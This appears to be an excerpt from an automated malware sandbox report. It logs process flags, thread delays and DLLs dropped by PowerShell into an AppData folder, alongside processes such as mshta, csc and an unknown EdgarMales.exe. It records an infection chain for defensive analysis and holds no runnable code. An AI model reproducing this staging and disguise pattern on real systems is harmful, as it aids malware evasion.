Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\383847\Client.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\383847\Client.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\383847\Client.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 905
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2490
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1009
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1875
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2132
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7691
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1093
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5679

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\MOG_Framework_2.2.14_vc10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\libmp4_plugin.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mv44vish.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.AspNetCore.Razor.Language.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\WRServices.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\msvcp80.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\mc_dec_mp2v.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.TestPlatform.VsTestConsole.TranslationLayer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.VisualStudio.Setup.Download.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\mc_mfimport.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\WzWXFmfire64.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\mlib_image.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.Azure.Management.Storage.Fluent.dll	Jump to dropped file
